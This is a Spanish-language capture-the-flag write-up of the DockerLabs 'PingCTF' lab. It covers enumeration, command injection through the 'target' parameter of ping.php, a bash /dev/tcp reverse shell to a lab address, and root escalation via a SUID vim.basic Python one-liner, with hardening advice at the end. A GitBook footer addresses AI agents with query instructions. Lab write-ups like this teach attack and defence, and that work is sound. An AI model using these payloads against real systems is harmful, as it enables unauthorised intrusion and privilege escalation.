> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/pingctf.md).

# PingCTF

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux que expone una herramienta web para comprobar conectividad mediante `ping`.

La cadena de explotacion empieza con la enumeracion del servicio HTTP, continua con el descubrimiento del parametro `target` en `ping.php` y termina convirtiendo una inyeccion de comandos en una reverse shell como `www-data`. La escalada final se consigue abusando de un binario `vim.basic` con permisos SUID, que permite ejecutar Python embebido y lanzar una shell preservando privilegios efectivos.

***

## Reconocimiento

Se realiza un escaneo de versiones con Nmap:

```bash
nmap -sVCS -Pn -n -T4 --min-rate 5000 172.17.0.2
```

![Nmap](/files/VXICprdNxhoTIm624BrQ)

El resultado muestra un unico puerto abierto:

| Puerto | Servicio | Version                    |
| ------ | -------- | -------------------------- |
| 80/tcp | HTTP     | Apache httpd 2.4.58 Ubuntu |

Nmap tambien identifica el titulo de la aplicacion:

```
Ping
```

***

## Enumeracion web

Al acceder al puerto 80 aparece una herramienta de ping:

```
http://172.17.0.2
```

![Herramienta Ping](/files/1IsDwi9UEmxMFlje6YdF)

La aplicacion permite introducir una IP o dominio y parece ejecutar una comprobacion de conectividad desde el servidor.

Se realiza fuzzing de parametros sobre `ping.php` con ffuf:

```bash
ffuf -u "http://172.17.0.2/ping.php?FUZZ" \
  -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt \
  -fs 0
```

![Fuzzing de parametros](/files/hVWME3NEc5imraJzcbnl)

El parametro interesante es `target`:

| Parametro | Codigo | Tamano |
| --------- | ------ | ------ |
| `target`  | 200    | 350    |

Tambien se enumeran rutas y ficheros con Gobuster:

```bash
gobuster dir -u 172.17.0.2:80 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh,asp,aspx \
  -b 404 -t 60
```

![Gobuster](/files/10ZMX35maGru1RIwhxjD)

Rutas relevantes:

| Ruta             | Codigo | Comentario         |
| ---------------- | ------ | ------------------ |
| `/index.html`    | 200    | Pagina principal   |
| `/javascript/`   | 301    | Recursos estaticos |
| `/ping.php`      | 302    | Script de ping     |
| `/server-status` | 403    | Restringido        |

***

## Command Injection

Como la aplicacion ejecuta un `ping` con el valor recibido en `target`, se prueba a concatenar un comando con `;`.

Payload de prueba:

```
127.0.0.1; id
```

Tambien se puede enviar directamente por URL:

```
http://172.17.0.2/ping.php?target=127.0.0.1%3B+id
```

![Command injection id](/files/vbxtdhKmt0GWAPW56z3M)

La respuesta confirma ejecucion de comandos como `www-data`:

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

***

## Reverse shell

Con la ejecucion de comandos confirmada, se prepara una reverse shell hacia la maquina atacante.

En Kali se deja Netcat escuchando:

```bash
nc -lvnp 4444
```

En el parametro vulnerable se introduce:

```bash
bash -c "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1"
```

![Payload reverse shell](/files/IH4OrXGf9rHd5ctBh4K4)

Al enviar el payload llega la conexion:

![Reverse shell www-data](/files/ybkbxNeIprm0SPzjLoBA)

Se obtiene una shell como `www-data` dentro de `/var/www/html`.

***

## Enumeracion local

Una vez dentro de la maquina, se buscan binarios con el bit SUID activo:

```bash
find / -perm -4000 -type f 2>/dev/null
```

![SUID](/files/FxJXG4Z4rS4q3vyZ7gnN)

Entre los binarios habituales aparece uno especialmente interesante:

```
/usr/bin/vim.basic
```

Que `vim.basic` tenga SUID es critico, porque Vim puede heredar funciones de Python y ejecutar codigo del sistema.

***

## Escalada a root

En GTFOBins se revisa la tecnica de `vim` con capacidad de heredar funciones:

![GTFOBins vim](/files/02LKu550Vn0gLLrageK9)

Como `vim.basic` conserva privilegios efectivos de `root`, se lanza Bash con `-p` desde Python embebido:

```bash
/usr/bin/vim.basic -c ':py3 import os; os.execl("/bin/bash", "bash", "-pc", "reset; exec bash -p")'
```

![Explotacion vim.basic](/files/2FXXJ3BmQJedpOjZVDBl)

Se comprueba el usuario actual:

```bash
whoami
```

![Root](/files/PYyVFpsKN3GQoIfRcopE)

La maquina queda comprometida como `root`.

***

## Resumen

La ruta completa de la maquina queda asi:

1. Escaneo con Nmap para identificar Apache en el puerto 80.
2. Revision de la herramienta web de ping.
3. Fuzzing de parametros con ffuf hasta encontrar `target`.
4. Enumeracion de rutas con Gobuster y confirmacion de `ping.php`.
5. Inyeccion de comandos usando `;`.
6. Reverse shell como `www-data`.
7. Enumeracion de binarios SUID.
8. Abuso de `/usr/bin/vim.basic` con Python embebido.
9. Shell final como `root` preservando privilegios con `bash -p`.

### Puntos clave

| Fase            | Tecnica           | Resultado                       |
| --------------- | ----------------- | ------------------------------- |
| Reconocimiento  | Nmap              | HTTP expuesto                   |
| Enumeracion web | ffuf y Gobuster   | `ping.php` y parametro `target` |
| Acceso inicial  | Command Injection | Shell como `www-data`           |
| Escalada        | SUID `vim.basic`  | Shell como `root`               |

### Recomendaciones

* Validar estrictamente los parametros usados en comandos del sistema.
* Evitar construir comandos con entrada de usuario sin usar APIs seguras.
* Eliminar permisos SUID innecesarios en binarios interactivos como `vim`.
* Monitorizar binarios SUID no habituales durante revisiones de hardening.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/pingctf.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
